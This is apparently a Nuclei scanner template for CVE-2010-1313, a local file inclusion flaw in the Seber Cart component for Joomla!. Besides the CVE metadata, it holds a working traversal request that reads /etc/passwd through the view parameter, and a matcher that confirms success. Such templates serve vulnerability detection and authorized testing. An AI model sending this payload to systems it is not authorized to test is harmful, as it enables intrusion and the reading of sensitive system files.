id: CVE-2010-1313

info:
  name: Joomla! Component Saber Cart 1.0.0.12 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Seber Cart (com_sebercart) component 1.0.0.12 and 1.0.0.13 for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the view parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the Joomla! CMS.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12082
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1313
    - http://www.exploit-db.com/exploits/12082
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2010-1313
    cwe-id: CWE-22
    epss-score: 0.08684
    epss-percentile: 0.94586
    cpe: cpe:2.3:a:seber:com_sebercart:1.0.0.12:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: seber
    product: com_sebercart
  tags: cve,cve2010,joomla,lfi,edb,seber,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_sebercart&view=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d88e0d94da828adba516bbe5d977e5affeb6eebda0ffda350d228ec703b4b3b4022100d8d5be670ef54a62a5b40917c1196bb2eb5f787d0691356bcbb4a73e81a76965:922c64590222798bb761d5b6d8e72950